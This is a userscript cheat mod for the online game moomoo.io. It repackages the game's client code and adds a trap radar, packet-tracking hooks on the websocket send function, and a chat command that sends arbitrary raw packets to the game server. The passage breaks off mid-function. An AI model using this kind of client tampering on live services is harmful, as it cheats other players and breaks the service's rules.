// ==UserScript==
// @license MIT
// @name MOOMOO.IO BEST MOD EVER 2021-2029 NO SKID
// @namespace BEST MOD FOR MOOMOO.IO EVER 2021-2029 NEW BEST NO SKID BEST EVER MOD FOR PRO AUTO HEAL. V FOR SPIKE. F FOR TRAP. Z FOR MILS.
// @version v1.66666
// @description None
// @author x-Odidas#9243
// @match ://*moomoo.io/*
// @icon https://freedesignfile.com/upload/2020/09/Neon-lines-background-vector.jpg
// @require https://greasyfork.org/scripts/423602-msgpack/code/msgpack.js
// @require https://greasyfork.org/scripts/423602-msgpack/code/msgpack.js
// @require http://code.jquery.com/jquery-3.3.1.min.js
// @require https://code.jquery.com/ui/1.12.0/jquery-ui.min.js
// @require https://cdnjs.cloudflare.com/ajax/libs/jquery-confirm/3.3.0/jquery-confirm.min.js
// @grant none
// ==/UserScript==
let huh =0
setInterval(function(){
if(window.config.skinColors){
window.config.skinColors[0]=`hsl(${hue},100%,50%)`
for(let i=0;i!=window.config.skinColors.length;i++){
window.config.skinColors[i]=`hsl(${hue},100%,50%)`
}
huh+=Math.random()*3
}
},10)
setInterval(changeHue, 10);
function changeHue() {hue += Math.random() * 3;}
var hue = 0;
$("#enterGame").click(() => {
selectSkinColor("constructor")
});
function changeHue() {hue += Math.random() * 3;}
var webpackModules = [function(e, t, i) {
(function(t) {
e.exports.maxScreenWidth = 1920,
e.exports.maxScreenHeight = 1080,
e.exports.serverUpdateRate = 9,
e.exports.maxPlayers = 100,
e.exports.maxPlayersHard = e.exports.maxPlayers + 10,
e.exports.collisionDepth = 6,
e.exports.minimapRate = 3e3,
e.exports.colGrid = 10,
e.exports.clientSendRate = 5,
e.exports.healthBarWidth = 50,
e.exports.healthBarPad = 4.5,
e.exports.iconPadding = 15,
e.exports.iconPad = .9,
e.exports.deathFadeout = 3e3,
e.exports.crownIconScale = 60,
e.exports.crownPad = 35,
e.exports.chatCountdown = 3e3,
e.exports.chatCooldown = 500,
e.exports.inSandbox = location.href.match("sandbox")?.length ? true : false,
e.exports.maxAge = 100,
e.exports.gatherAngle = Math.PI / 2.6,
e.exports.gatherWiggle = 10,
e.exports.hitReturnRatio = .25,
e.exports.hitAngle = Math.PI / 2,
e.exports.playerScale = 35,
e.exports.playerSpeed = .0016,
e.exports.playerDecel = .993,
e.exports.nameY = 34,
e.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#8bc373"],
e.exports.animalCount = 7,
e.exports.aiTurnRandom = .06,
e.exports.cowNames = ["Dayte"],
e.exports.shieldAngle = Math.PI / 3,
e.exports.weaponVariants = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3e3,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7e3,
val: 1.18
}, {
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18
}],
e.exports.fetchVariant = function(t) {
for (var i = t.weaponXP[t.weaponIndex] || 0, n = e.exports.weaponVariants.length - 1; n >= 0; --n)
if (i >= e.exports.weaponVariants[n].xp)
return e.exports.weaponVariants[n]
}
,
e.exports.resourceTypes = ["wood", "food", "stone", "points"],
e.exports.areaCount = 7,
e.exports.treesPerArea = 9,
e.exports.bushesPerArea = 3,
e.exports.totalRocks = 32,
e.exports.goldOres = 7,
e.exports.riverWidth = 724,
e.exports.riverPadding = 114,
e.exports.waterCurrent = .0011,
e.exports.waveSpeed = 1e-4,
e.exports.waveMax = 1.3,
e.exports.treeScales = [150, 160, 165, 175],
e.exports.bushScales = [80, 85, 95],
e.exports.rockScales = [80, 85, 90],
e.exports.snowBiomeTop = 2400,
e.exports.snowSpeed = .75,
e.exports.maxNameLength = 15,
e.exports.mapScale = 14400,
e.exports.mapPingScale = 40,
e.exports.mapPingTime = 2200
}
).call(this, i(5))
}
, function(e, t) {
var i = {
utf8: {
stringToBytes: function(e) {
return i.bin.stringToBytes(unescape(encodeURIComponent(e)))
},
bytesToString: function(e) {
return decodeURIComponent(escape(i.bin.bytesToString(e)))
}
},
bin: {
stringToBytes: function(e) {
for (var t = [], i = 0; i < e.length; i++)
t.push(255 & e.charCodeAt(i));
return t
},
bytesToString: function(e) {
for (var t = [], i = 0; i < e.length; i++)
t.push(String.fromCharCode(e[i]));
return t.join("")
}
}
};
e.exports = i
}
, function(e, t, i) {
"use strict";
window.loadedScript = !0;
var n = "127.0.0.1" !== location.hostname && !location.hostname.startsWith("192.168.");
i(3);
var bC = i(39)
, pE = i(38)
, s = i(4)
, o = i(6)
, a = i(7)
, r = i(0)
, c = i(8)
, l = i(9)
, h = (i(10), i(11))
, u = i(12)
, d = i(19)
, f = i(20)
, p = i(21)
, g = i(22).obj
, m = new a.TextManager
, y = new (i(23))("moomoo.io",3e3,r.maxPlayers,5,!1);
y.debugLog = !1;
var k = !1;
function w() {
lt && ht && (k = !0,
n ? window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
action: "homepage"
}).then((function(e) {
v(e)
}
)) : v(null))
}
function v(e) {
y.start((function(t, i, a) {
var c = (n ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
e && (c += "&token=" + encodeURIComponent(e)),
s.connect(c, (function(e) {
Mn(),
setInterval(()=>Mn(), 2500),
e ? ut(e) : (he.onclick = o.checkTrusted((function() {
!function() {
var e = ++yt > 1
, t = Date.now() - mt > gt;
e && t ? (mt = Date.now(),
kt()) : ki()
}()
}
)),
o.hookTouchEvents(he),
ue.onclick = o.checkTrusted((function() {
Pn("https://krunker.io/?play=SquidGame_KB")
}
)),
o.hookTouchEvents(ue),
fe.onclick = o.checkTrusted((function() {
setTimeout((function() {
!function() {
var e = be.value
, t = prompt("party key", e);
t && (window.onbeforeunload = void 0,
window.location.href = "/?server=" + t)
}()
}
), 10)
}
)),
o.hookTouchEvents(fe),
pe.onclick = o.checkTrusted((function() {
Ce.classList.contains("showing") ? (Ce.classList.remove("showing"),
ge.innerText = "Settings") : (Ce.classList.add("showing"),
ge.innerText = "Close")
}
)),
o.hookTouchEvents(pe),
me.onclick = o.checkTrusted((function() {
ui(),
"block" != qe.style.display ? Bt() : qe.style.display = "none"
}
)),
o.hookTouchEvents(me),
ye.onclick = o.checkTrusted((function() {
"block" != Je.style.display ? (Je.style.display = "block",
qe.style.display = "none",
ei(),
qt()) : Je.style.display = "none"
}
)),
o.hookTouchEvents(ye),
ke.onclick = o.checkTrusted((function() {
$t()
}
)),
o.hookTouchEvents(ke),
Ge.onclick = o.checkTrusted((function() {
mi()
}
)),
o.hookTouchEvents(Ge),
function() {
for (var e = 0; e < Pi.length; ++e) {
var t = new Image;
t.onload = function() {
this.isLoaded = !0
}
,
t.src = ".././img/icons/" + Pi[e] + ".png",
Ci[Pi[e]] = t
}
}(),
Pe.style.display = "none",
Me.style.display = "block",
Le.value = M("moo_name") || "",
function() {
var e = M("native_resolution");
Yt(e ? "true" == e : "undefined" != typeof cordova),
P = "true" == M("show_ping"),
Ie.hidden = !P,
M("moo_moosic"),
setInterval((function() {
window.cordova && (document.getElementById("downloadButtonContainer").classList.add("cordova"),
document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"))
}
), 1e3),
Kt(),
o.removeAllChildren(Oe);
for (var t = 0; t < l.weapons.length + l.list.length; ++t)
!function(e) {
o.generateElement({
id: "actionBarItem" + e,
class: "actionBarItem",
style: "display:none",
onmouseout: function() {
wt()
},
parent: Oe
})
}(t);
for (t = 0; t < l.list.length + l.weapons.length; ++t)
!function(e) {
var t = document.createElement("canvas");
t.width = t.height = 66;
var i = t.getContext("2d");
if (i.translate(t.width / 2, t.height / 2),
i.imageSmoothingEnabled = !1,
i.webkitImageSmoothingEnabled = !1,
i.mozImageSmoothingEnabled = !1,
l.weapons[e]) {
i.rotate(Math.PI / 4 + Math.PI);
var n = new Image;
Yi[l.weapons[e].src] = n,
n.onload = function() {
this.isLoaded = !0;
var n = 1 / (this.height / this.width)
, s = l.weapons[e].iPad || 1;
i.drawImage(this, -t.width * s * r.iconPad * n / 2, -t.height * s * r.iconPad / 2, t.width * s * n * r.iconPad, t.height * s * r.iconPad),
i.fillStyle = "rgba(0, 0, 70, 0.1)",
i.globalCompositeOperation = "source-atop",
i.fillRect(-t.width / 2, -t.height / 2, t.width, t.height),
document.getElementById("actionBarItem" + e).style.backgroundImage = "url(" + t.toDataURL() + ")"
}
,
n.src = ".././img/weapons/" + l.weapons[e].src + ".png",
(s = document.getElementById("actionBarItem" + e)).onmouseover = o.checkTrusted((function() {
wt(l.weapons[e], !0)
}
)),
s.onclick = o.checkTrusted((function() {
yi(e, !0)
}
)),
o.hookTouchEvents(s)
} else {
n = Zi(l.list[e - l.weapons.length], !0);
var s, a = Math.min(t.width - r.iconPadding, n.width);
i.globalAlpha = 1,
i.drawImage(n, -a / 2, -a / 2, a, a),
i.fillStyle = "rgba(0, 0, 70, 0.1)",
i.globalCompositeOperation = "source-atop",
i.fillRect(-a / 2, -a / 2, a, a),
document.getElementById("actionBarItem" + e).style.backgroundImage = "url(" + t.toDataURL() + ")",
(s = document.getElementById("actionBarItem" + e)).onmouseover = o.checkTrusted((function() {
wt(l.list[e - l.weapons.length])
}
)),
s.onclick = o.checkTrusted((function() {
yi(e - l.weapons.length)
}
)),
o.hookTouchEvents(s)
}
}(t);
Le.ontouchstart = o.checkTrusted((function(e) {
e.preventDefault();
var t = prompt("enter name", e.currentTarget.value);
t && (e.currentTarget.value = t.slice(0, 15))
}
)),
xe.checked = C,
xe.onchange = o.checkTrusted((function(e) {
Yt(e.target.checked)
}
)),
Se.checked = P,
Se.onchange = o.checkTrusted((function(e) {
P = Se.checked,
Ie.hidden = !P,
T("show_ping", P ? "true" : "false")
}
))
}())
}
), {
id: st,
d: ut,
1: vi,
2: gn,
4: mn,
33: vn,
5: ji,
6: on,
a: un,
aa: hn,
7: Fi,
8: an,
sp: rn,
9: kn,
h: wn,
11: Si,
12: Ti,
13: Ii,
14: yn,
15: Bi,
16: Oi,
17: Nt,
18: cn,
19: ln,
20: Cn,
ac: Ct,
ad: Ot,
an: Tt,
st: Pt,
sa: Et,
us: Vt,
ch: si,
mm: Ft,
t: bi,
p: _t,
pp: Tn
}),
ft(),
setTimeout(()=>pt(), 3e3)
}
), (function(e) {
console.error("Vultr error:", e),
alert("Error:\n" + e),
ut("disconnected")
}
))
}
var b, x = new g(r,o), S = Math.PI, I = 2 * S;
function T(e, t) {
b && localStorage.setItem(e, t)
}
function M(e) {
return b ? localStorage.getItem(e) : null
}
Math.lerpAngle = function(e, t, i) {
Math.abs(t - e) > S && (e > t ? t += I : e += I);
var n = t + (e - t) * i;
return n >= 0 && n <= I ? n : n % I
}
,
CanvasRenderingContext2D.prototype.roundRect = function(e, t, i, n, s) {
return i < 2 * s && (s = i / 2),
n < 2 * s && (s = n / 2),
s < 0 && (s = 0),
this.beginPath(),
this.moveTo(e + s, t),
this.arcTo(e + i, t, e + i, t + n, s),
this.arcTo(e + i, t + n, e, t + n, s),
this.arcTo(e, t + n, e, t, s),
this.arcTo(e, t, e + i, t, s),
this.closePath(),
this
}
,
"undefined" != typeof Storage && (b = !0);
var C, P, E, O, B, j, A, D, U, R, L, z, _, F, H = M("moofoll"), V = 1, q = Date.now(), W = [], X = [], G = [], N = [], Y = [], K = new p(f,Y,X,W,tt,l,r,o), J = i(35), Q = i(36), $ = new J(W,Q,X,l,null,r,o), Z = 1, ee = 0, te = 0, ie = 0, ne = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, se = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, oe = 0, ae = r.maxScreenWidth, re = r.maxScreenHeight, ce = !1, le = (document.getElementById("ad-container"),
document.getElementById("mainMenu")), he = document.getElementById("enterGame"), ue = document.getElementById("promoImg"), de = document.getElementById("partyButton"), fe = document.getElementById("joinPartyButton"), pe = document.getElementById("settingsButton"), ge = pe.getElementsByTagName("span")[0], me = document.getElementById("allianceButton"), ye = document.getElementById("storeButton"), ke = document.getElementById("chatButton"), we = document.getElementById("gameCanvas"), ve = we.getContext("2d"), be = document.getElementById("serverBrowser"), xe = document.getElementById("nativeResolution"), Se = document.getElementById("showPing"), Ie = (document.getElementById("playMusic"),
document.getElementById("pingDisplay")), Te = document.getElementById("shutdownDisplay"), Me = document.getElementById("menuCardHolder"), Ce = document.getElementById("guideCard"), Pe = document.getElementById("loadingText"), Ee = document.getElementById("gameUI"), Oe = document.getElementById("actionBar"), Be = document.getElementById("scoreDisplay"), je = document.getElementById("foodDisplay"), Ae = document.getElementById("woodDisplay"), De = document.getElementById("stoneDisplay"), Ue = document.getElementById("killCounter"), Re = document.getElementById("leaderboardData"), Le = document.getElementById("nameInput"), ze = document.getElementById("itemInfoHolder"), _e = document.getElementById("ageText"), Fe = document.getElementById("ageBarBody"), He = document.getElementById("upgradeHolder"), Ve = document.getElementById("upgradeCounter"), qe = document.getElementById("allianceMenu"), We = document.getElementById("allianceHolder"), Xe = document.getElementById("allianceManager"), Ge = document.getElementById("mapDisplay"), Ne = document.getElementById("diedText"), Ye = document.getElementById("skinColorHolder"), Ke = Ge.getContext("2d");
Ge.width = 300,
Ge.height = 300;
var Je = document.getElementById("storeMenu")
, Qe = document.getElementById("storeHolder")
, $e = document.getElementById("noticationDisplay")
, Ze = d.hats
, et = d.accessories
, tt = new h(c,N,o,r)
, it = "#525252"
, nt = "#3d3f42";
var items = l, store = d, config = r, utils = o;
function st(e) {
G = e.teams
}
var ot = document.getElementById("featuredYoutube")
, at = [{
name: "Corrupt X",
link: "https://www.youtube.com/channel/UC0UH2LfQvBSeH24bmtbmITw"
}, {
name: "Tweak Big",
link: "https://www.youtube.com/channel/UCbwvzJ38AndDTkoX8sD9YOw"
}, {
name: "Arena Closer",
link: "https://www.youtube.com/channel/UCazucVSJqW-kiHMIhQhD-QQ"
}, {
name: "Godenot",
link: "https://www.youtube.com/user/SirGodenot"
}, {
name: "RajNoobTV",
link: "https://www.youtube.com/channel/UCVLo9brXBWrCttMaGzvm0-Q"
}, {
name: "TomNotTom",
link: "https://www.youtube.com/channel/UC7z97RgHFJRcv2niXgArBDw"
}, {
name: "Nation",
link: "https://www.youtube.com/channel/UCSl-MBn3qzjrIvLNESQRk-g"
}, {
name: "Pidyohago",
link: "https://www.youtube.com/channel/UC04p8Mg8nDaDx04A9is2B8Q"
}, {
name: "Enigma",
link: "https://www.youtube.com/channel/UC5HhLbs3sReHo8Bb9NDdFrg"
}, {
name: "Bauer",
link: "https://www.youtube.com/channel/UCwU2TbJx3xTSlPqg-Ix3R1g"
}, {
name: "iStealth",
link: "https://www.youtube.com/channel/UCGrvlEOsQFViZbyFDE6t69A"
}, {
name: "SICKmania",
link: "https://www.youtube.com/channel/UCvVI98ezn4TpX5wDMZjMa3g"
}, {
name: "LightThief",
link: "https://www.youtube.com/channel/UCj6C_tiDeATiKd3GX127XoQ"
}, {
name: "Fortish",
link: "https://www.youtube.com/channel/UCou6CLU-szZA3Tb340TB9_Q"
}, {
name: "巧克力",
link: "https://www.youtube.com/channel/UCgL6J6oL8F69vm-GcPScmwg"
}, {
name: "i Febag",
link: "https://www.youtube.com/channel/UCiU6WZwiKbsnt5xmwr0OFbg"
}, {
name: "GoneGaming",
link: "https://www.youtube.com/channel/UCOcQthRanYcwYY0XVyVeK0g"
}]
, rt = at[o.randInt(0, at.length - 1)];
ot.innerHTML = "<a target='_blank' class='ytLink' href='" + rt.link + "'><i class='material-icons' style='vertical-align: top;'></i> " + rt.name + "</a>";
var ct = !0
, lt = !1
, ht = !1;
s._send = s.send;
var firstSetup = true;
s.send = function(packet, ...args){
let handler = {
"2": function(direction) {
oldWatchAngle = direction;
},
"33": function(direction) {
oldMoveAngle = direction;
},
"5": function(index, isWpn) {
isWpn ? (oldBuild = -1, oldWeapon = index) : oldBuild = index;
},
"6": function() { },
"7": function() { },
"8": function() { },
"9": function() {
//alliancePlayers = [];
},
"10": function() { },
"11": function() { },
"12": function() { },
"13c": function(isBuy, index, isTail) {
if (isBuy) {
sentDatas.lastTry.buy[(isTail ? "tail" : "skin") + "Index"] = index;
sentDatas[isTail ? "tails" : "skins"][index] = true;
} else {
sentDatas.lastTry.equip[(isTail ? "tail" : "skin") + "Index"] = index;
}
},
"14": function() { },
"sp": function() {
for (let i = 0; i <= 38; i++) {
let doit = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15].some(a => {return a == i})
if(!doit) {
if(firstSetup){
let thing = document.createElement("div");
thing.setAttribute("id", "itemCounts" + (i));
thing.style = `position: absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;`;
thing.innerHTML = "0";
document.getElementById("actionBarItem" + JSON.stringify(i)).appendChild(thing);
document.getElementById("actionBarItem" + i).appendChild(thing);
}
}
}
firstSetup = false;
},
"pp": function() { },
"c": function(hit, direction) {
direction != null && hit && (oldWatchAngle = direction);
},
"rmd": function() { },
"ch": function(message, isMirror) {
if(!message.length) return;
}
};
packetEngine.count++;
handler[packet](...args);
this._send(packet, ...args);
};
function ut(e) {
s.close();
dt(e);
}
function dt(e) {
le.style.display = "block",
Ee.style.display = "none",
Me.style.display = "none",
Ne.style.display = "none",
Pe.style.display = "block",
Pe.innerHTML = e + "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>"
}
window.onblur = function() {
ct = !1
}
,
window.onfocus = function() {
ct = !0,
A && A.alive && ui()
}
,
window.onload = function() {
lt = !0,
w(),
setTimeout((function() {
k || (alert("Captcha failed to load"),
window.location.reload())
}
), 2e4)
}
,
window.captchaCallback = function() {
ht = !0,
w()
}
,
we.oncontextmenu = function() {
return !1
}
;
function ft() {
var e, t, i = "", n = 0;
for (var s in y.servers) {
for (var o = y.servers[s], a = 0, c = 0; c < o.length; c++)
for (var l = 0; l < o[c].games.length; l++)
a += o[c].games[l].playerCount;
n += a;
var h = y.regionInfo[s].name;
i += "<option disabled>" + h + " - " + a + " players</option>";
for (var u = 0; u < o.length; u++)
for (var d = o[u], f = 0; f < d.games.length; f++) {
var p = d.games[f]
, g = 1 * d.index + f + 1
, m = y.server && y.server.region === d.region && y.server.index === d.index && y.gameIndex == f
, k = h + " " + g + " [" + Math.min(p.playerCount, r.maxPlayers) + "/" + r.maxPlayers + "]";
let e = y.stripRegion(s) + ":" + u + ":" + f;
m && (de.getElementsByTagName("span")[0].innerText = e),
i += "<option value='" + e + "' " + (m ? "selected" : "") + ">" + k + "</option>"
}
i += "<option disabled></option>"
}
i += "<option disabled>All Servers - " + n + " players</option>",
be.innerHTML = i,
"sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo",
t = "//moomoo.io/") : (e = "Try the sandbox",
t = "//sandbox.moomoo.io/"),
document.getElementById("altServer").innerHTML = "<a href='" + t + "'>" + e + "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>"
}
function pt() {
var e = new XMLHttpRequest;
e.onreadystatechange = function() {
4 == this.readyState && (200 == this.status ? (window.vultr = JSON.parse(this.responseText),
y.processServers(vultr.servers),
ft()) : console.error("Failed to load server data with status code:", this.status))
}
,
e.open("GET", "/serverData", !0),
e.send()
}
be.addEventListener("change", o.checkTrusted((function() {
let e = be.value.split(":");
y.switchServer(e[0], e[1], e[2])
}
)));
var gt = 3e5
, mt = 0
, yt = 0;
function kt() {
if (!window.adsbygoogle)
return console.log("Failed to load video ad API"),
void ki();
window.adsbygoogle.push({
type: "next",
adBreakDone: ()=>{
ki()
}
})
}
function wt(e, t, i) {
if (A && e)
if (o.removeAllChildren(ze),
ze.classList.add("visible"),
o.generateElement({
id: "itemInfoName",
text: o.capitalizeFirst(e.name),
parent: ze
}),
o.generateElement({
id: "itemInfoDesc",
text: e.desc,
parent: ze
}),
i)
;
else if (t)
o.generateElement({
class: "itemInfoReq",
text: e.type ? "secondary" : "primary",
parent: ze
});
else {
for (var n = 0; n < e.req.length; n += 2)
o.generateElement({
class: "itemInfoReq",
html: e.req[n] + "<span class='itemInfoReqVal'> x" + e.req[n + 1] + "</span>",
parent: ze
});
e.group.limit && o.generateElement({
class: "itemInfoLmt",
text: (A.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
parent: ze
})
}
else
ze.classList.remove("visible")
}
window.adsbygoogle && adsbygoogle.push({
preloadAdBreaks: "on"
}),
window.showPreAd = kt;
var vt, bt, xt, St = [], It = [];
function Tt(e, t) {
St.push({
sid: e,
name: t
}),
Mt()
}
function Mt() {
if (St[0]) {
var e = St[0];
o.removeAllChildren($e),
$e.style.display = "block",
o.generateElement({
class: "notificationText",
text: e.name,
parent: $e
}),
o.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'></i>",
parent: $e,
onclick: function() {
jt(0)
},
hookTouch: !0
}),
o.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'></i>",
parent: $e,
onclick: function() {
jt(1)
},
hookTouch: !0
})
} else
$e.style.display = "none"
}
function Ct(e) {
G.push(e);
(U = addPla({sid: e.owner})).team = e.sid;
U.isOwner = true;
"block" == qe.style.display && Bt()
}
function Pt(e, t) {
A && (A.team = e,
A.isOwner = t,
"block" == qe.style.display && Bt())
}
function Et(e) {
It = e;
"block" == qe.style.display && Bt()
}
function Ot(e) {
for (var t = G.length - 1; t >= 0; t--){
(U = addPla(G[t].sid)).team = null;
G[t].sid == e && G.splice(t, 1);
}
"block" == qe.style.display && Bt()
}
function Bt() {
if (A && A.alive) {
if (ei(),
Je.style.display = "none",
qe.style.display = "block",
o.removeAllChildren(We),
A.team){
for (var e = 0; e < It.length; e += 2){
(U = addPla({sid: It[e]})).team = A.team;
U.name = It[e+1];
var t = o.generateElement({
class: "allianceItem",
style: "color:" + (It[e] == A.sid ? "#fff" : "rgba(255,255,255,0.6)"),
text: It[e + 1],
parent: We,
});
A.isOwner && It[e] != A.sid && o.generateElement({
class: "joinAlBtn",
text: "Kick",
onclick: function() {
At(It[e])
},
hookTouch: !0,
parent: t,
});
}
} else if (G.length)
for (e = 0; e < G.length; ++e){
!function(e) {
var t = o.generateElement({
class: "allianceItem",
style: "color:" + (G[e].sid == A.team ? "#fff" : "rgba(255,255,255,0.6)"),
text: `[${G[e].owner}] ${G[e].sid}`,
parent: We
});
o.generateElement({
class: "joinAlBtn",
text: "Join",
onclick: function() {
Dt(e)
},
hookTouch: !0,
parent: t
})
}(e);
}
else
o.generateElement({
class: "allianceItem",
text: "No Tribes Yet",
parent: We
});
o.removeAllChildren(Xe),
A.team ? o.generateElement({
class: "allianceButtonM",
style: "width: 360px",
text: A.isOwner ? "Delete Tribe" : "Leave Tribe",
onclick: function() {
Rt()
},
hookTouch: !0,
parent: Xe
}) : (o.generateElement({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
ontouchstart: function(e) {
e.preventDefault();
var t = prompt("unique name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 7)
},
parent: Xe
}),
o.generateElement({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function() {
Ut()
},
hookTouch: !0,
parent: Xe
}))
}
}
function jt(e) {
s.send("11", St[0].sid, e),
St.splice(0, 1),
Mt()
}
function At(e) {
s.send("12", e)
}
function Dt(e) {
s.send("10", G[e].sid)
}
function Ut() {
s.send("8", document.getElementById("allianceInput").value)
}
function Rt() {
St = [],
Mt(),
s.send("9")
}
var Lt, zt = [];
function _t(e, t) {
for (var i = 0; i < zt.length; ++i)
if (!zt[i].active) {
Lt = zt[i];
break
}
Lt || (Lt = new function() {
this.init = function(e, t) {
this.scale = 0,
this.x = e,
this.y = t,
this.active = !0
}
,
this.update = function(e, t) {
this.active && (this.scale += .05 * t,
this.scale >= r.mapPingScale ? this.active = !1 : (e.globalAlpha = 1 - Math.max(0, this.scale / r.mapPingScale),
e.beginPath(),
e.arc(this.x / r.mapScale * Ge.width, this.y / r.mapScale * Ge.width, this.scale, 0, 2 * Math.PI),
e.stroke()))
}
}
,
zt.push(Lt)),
Lt.init(e, t)
}
function Ft(e) {
bt = e
}
var Ht = 0;
function Vt(e, t, i) {
i ? e ? A.tailIndex = t : A.tails[t] = 1 : e ? A.skinIndex = t : A.skins[t] = 1,
"block" == Je.style.display && qt()
}
function qt() {
if (A) {
o.removeAllChildren(Qe);
for (var e = Ht, t = e ? et : Ze, i = 0; i < t.length; ++i)
t[i].dontSell || function(i) {
var n = o.generateElement({
id: "storeDisplay" + i,
class: "storeItem",
onmouseout: function() {
wt()
},
onmouseover: function() {
wt(t[i], !1, !0)
},
parent: Qe
});
o.hookTouchEvents(n, !0),
o.generateElement({
tag: "img",
class: "hatPreview",
src: "../img/" + (e ? "accessories/access_" : "hats/hat_") + t[i].id + (t[i].topSprite ? "_p" : "") + ".png",
parent: n
}),
o.generateElement({
tag: "span",
text: `[${t[i].id}] ${t[i].name}`,
parent: n
}),
(e ? A.tails[t[i].id] : A.skins[t[i].id]) ? (e ? A.tailIndex : A.skinIndex) == t[i].id ? o.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function() {
Wt(0, e)
},
hookTouch: !0,
parent: n
}) : o.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function() {
Wt(t[i].id, e)
},
hookTouch: !0,
parent: n
}) : (o.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function() {
Xt(t[i].id, e)
},
hookTouch: !0,
parent: n
}))
}(i)
}
}
function Wt(e, t) {
s.send("13c", 0, e, t)
}
function Xt(e, t) {
s.send("13c", 1, e, t)
}
function Gt() {
Je.style.display = "none",
qe.style.display = "none",
ei()
}
function Nt(e, t) {
e && (t ? A.weapons = e : A.items = e);
for (var i = 0; i < l.list.length; ++i) {
var n = l.weapons.length + i;
document.getElementById("actionBarItem" + n).style.display = A.items.indexOf(l.list[i].id) >= 0 ? "inline-block" : "none"
}
for (i = 0; i < l.weapons.length; ++i)
document.getElementById("actionBarItem" + i).style.display = A.weapons[l.weapons[i].type] == l.weapons[i].id ? "inline-block" : "none"
if(t){
oldWeapon = e[Number(oldWeapon > 8)];
}
}
function Yt(e) {
C = e,
V = e && window.devicePixelRatio || 1,
xe.checked = e,
T("native_resolution", e.toString()),
oi()
}
function Kt() {
for (var e = "", t = 0; t < r.skinColors.length; ++t)
e += t == oe ? "<div class='skinColorItem activeSkin' style='background-color:" + r.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>" : "<div class='skinColorItem' style='background-color:" + r.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Ye.innerHTML = e
}
var Jt = document.getElementById("chatBox")
, Qt = document.getElementById("chatHolder");
var commands = [];
var showCommand = false;
var commandPrefix = "!";
var ignoreList = [];
var chatHistoryDisplay = document.createElement('div');
Jt.parentElement.prepend(chatHistoryDisplay);
function addChatHistory(e){
let a = document.createElement('div');
a.style.fontSize = "20px";
a.style.color = "#fff";
a.innerText = e;
chatHistoryDisplay.appendChild(a);
}
function doCommand(msg){
let input = msg.split(" ");
if(input[0].charAt(0) == commandPrefix){
input[0] = input[0].substring(1);
try{
commands[input[0]](input);
}catch(e){
addChatHistory("Error");
}
return showCommand;
}
return true;
}
function addCommand (line, action){
try{
commands[line.toLowerCase()] = action;
}catch(e){
return e;
}
}
addCommand("showtraps", function(input){
showTrapRadar = !showTrapRadar;
addChatHistory("TrapRadar"+showTrapRadar);
});
addCommand("commands", function(input){
for(let i in commands){
addChatHistory(i);
}
});
addCommand("songs", function(input){
let i = 0;
for(let i in songs){
addChatHistory(i+"/"+songs[i].name);
}
});
addCommand("song", function(input){
let song = songs.find((i, t) => t == input[1]);
if(song){
singing.name = song.name;
singing.audio = new Audio(song.src);
singing.timeouts.forEach(e => clearTimeout(e));
singing.timeouts = [];
if (singing.toggle && singing.audio) {
singing.audio.onended = function() {
singing.toggle = false;
singing.audio.currentTime = 0;
singing.audio.pause()
};
singing.audio.play();
for (let time in song.sync) {
let message = song.sync[time];
singing.timeouts.push(setTimeout(() => {
cf(message ?? "");
}, time));
}
} else {
singing.audio && (singing.audio.currentTime = 0, singing.audio.pause());
}
addChatHistory("Song'"+song.name+"'");
} else {
addChatHistory("Undefined song");
}
});
addCommand("setprefix", function(input){
if(input[1].length == 1){
if(!((/[a-zA-Z]/).test(input[1]) || !isNaN(input[1]))){
commandPrefix = input[1];
addChatHistory("Prefix is now '"+commandPrefix+"'");
}else{
addChatHistory("'"+input[1]+"' cannot be alphabet/number");
}
}else{
addChatHistory("'"+input[1]+"' is not a character");
}
});
addCommand("showcommand", function(input){
showCommand = true;
});
addCommand("hidecommand", function(input){
showCommand = false;
});
addCommand("ignore", function(input){
if(isNaN(input[1])){
addChatHistory("'"+input[1]+"' is not a id(number)");
}else{
for(let i = 0;i < ignoreList.length;i++){
if(ignoreList[i] == input[1]){
addChatHistory("Alreadly ignoring player '"+input[1]+"'");
return;
}
}
ignoreList.push(input[1]);
addChatHistory("Now ignoring '"+input[1]+"'");
}
});
addCommand("listen", function(input){
if(isNaN(input[1])){
addChatHistory("'"+input[1]+"' is not a id(number)");
}else{
for(let i = 0;i < ignoreList.length;i++){
if(ignoreList[i] == input[1]){
addChatHistory("Removed '"+input[1]+"' from ignored");
ignoreList.splice(i, 1);
return;
}
}
addChatHistory("'"+input[1]+"' was not ignored");
}
});
addCommand("send", function(input){
if(input.length == 2){
s.send(input[1]);
addChatHistory("Sent ["+input[1]+"]");
}else if(input.length == 3){
s.send(input[1], input[2]);
addChatHistory("Sent ["+input[1]+",["+input[2]+"]]");
}else if(input.length == 4){
